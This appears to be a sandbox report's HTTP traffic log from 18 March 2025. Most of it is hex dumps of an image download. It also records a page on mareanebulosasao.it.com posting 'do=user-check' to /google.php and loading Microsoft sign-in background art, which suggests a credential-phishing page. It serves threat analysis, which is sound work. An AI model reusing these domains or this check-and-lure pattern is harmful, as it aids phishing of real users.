80 00 0f 00 00 00 00 00 00 00 01 Data Ascii: <x @@<x @@<+;w@Q4R.Xry;vb#l`0
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 Data Ascii: @@<x @@<x @@<x
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 Data Ascii: x @@<x @@<x @@<x
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 Data Ascii: <x @@<x @@<x @@<
2025-03-18 12:42:41 UTC	1369	IN	Data Raw: 00 00 00 00 c0 20 7f eb 49 ec 2c 8d 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 20 e0 01 00 00 00 00 00 00 60 90 00 ec dc 2f 4e db 71 00 c6 e1 6f ff c8 d6 90 d4 20 10 0b 59 32 c1 25 30 73 d3 38 6e 31 c5 85 96 99 05 2e c0 1d 66 36 3d 07 92 64 84 2c ed Data Ascii: I,` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `/Nqo Y2%0s8n1.f6=d,

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:41 UTC	678	OUT	POST /google.php HTTP/1.1 Host: bjsz.mareanebulosasao.it.com Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: https://bonsoiree.mareanebulosasao.it.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:41 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-18 12:42:46 UTC	974	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: https://bonsoiree.mareanebulosasao.it.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3jnPkLVs%2Fcjwjv7El%2FGAAjt46SCkWneRsU7onoC3yX8VSW%2F6T9zT44M4sR21Un1ClhJ7Y3sCuUVX03wXkOUwUgWopuLntQmmAY8waRPz5kEQzmnYtUXjT5kUHULvGeIrDcg1dGJPl5l%2BjYaRPQq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224cfba9a2a2365-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1982&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2859&recv_bytes=1285&delivery_rate=1439132&cwnd=145&unsent_bytes=0&cid=36ef85376f6a8fe2&ts=5349&x=0"
2025-03-18 12:42:46 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 10{"status":false}
2025-03-18 12:42:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:42 UTC	464	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:42 UTC	829	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:42 GMT Content-Type: image/png Content-Length: 21873 Connection: close CF-Ray: 9224cfbf5993a3fe-EWR Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, no-transform, immutable, max-age=2592000 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Strict-Transport-Security: max-age=604800 Vary: Accept-Encoding access-control-expose-headers: Content-Length,ETag,Server-Timing,Vary,x-content-type-options server-timing: cld-cloudflare;dur=12;start=2025-03-18T12:42:42.466Z;desc=hit,rtt;dur=8,content-info;desc="width=2016,height=2016,bytes=21873,format="png",o=1,crt=1742052868,ef=(17);" timing-allow-origin: * x-content-type-options: nosniff x-request-id: 66832d6d13078dacf529e15646e9e921 Server: cloudflare
2025-03-18 12:42:42 UTC	540	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 37 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 38 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 44 31 30 32 41 31 33 35 34 31 43 45 31 31 45 36 41 33 31 44 44 41 42 30 38 43 33 35 35 30 36 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 44 31 30 32 41 31 33 36 34 31 43 45 31 31 45 Data Ascii: CS5 Windows" xmpMM:InstanceID="xmp.iid:D102A13741CE11E6A31DDAB08C35506E" xmpMM:DocumentID="xmp.did:D102A13841CE11E6A31DDAB08C35506E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D102A13541CE11E6A31DDAB08C35506E" stRef:documentID="xmp.did:D102A13641CE11E
2025-03-18 12:42:42 UTC	967	IN	Data Raw: 64 63 f7 ee f1 e6 97 25 00 00 00 be 96 d5 85 ad b7 4b 80 8f 29 26 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 Data Ascii: dc%K)& @@<x @@<x @@<x
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 Data Ascii: <x @@<x @@<x @@<
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 Data Ascii: <x @@<x @@<x @@
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 Data Ascii: <x @@<x @@<x @@
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 Data Ascii: @@<x @@<x @@<x
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 Data Ascii: x @@<x @@<x @@<x
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 Data Ascii: x @@<x @@<x @@<x
2025-03-18 12:42:42 UTC	1369	IN	Data Raw: e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 Data Ascii: @@<x @@<x @@<x

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:47 UTC	402	OUT	GET /google.php HTTP/1.1 Host: bjsz.mareanebulosasao.it.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:47 UTC	826	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TTI%2BcbtH%2BlkgQZHE9kNcrf1WfIBPWqDrw4QJDveajuYAopsqadVYf7niSKRo07ki21bBnm8uMxECNiahzSiI54rv8mDPfSgGKas2rb3aCqbmuX5CHXNh2zaX0QX1xYtQT7KEoQOE480y8mtpiaRp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224cfdf3b5b8c5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8870&min_rtt=1831&rtt_var=5035&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2861&recv_bytes=974&delivery_rate=1594756&cwnd=225&unsent_bytes=0&cid=1dc47f9c841be180&ts=311&x=0"
2025-03-18 12:42:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:50 UTC	713	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:50 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26197894 Date: Tue, 18 Mar 2025 12:42:50 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.b5771002.1742301770.51a0b3f
2025-03-18 12:42:50 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6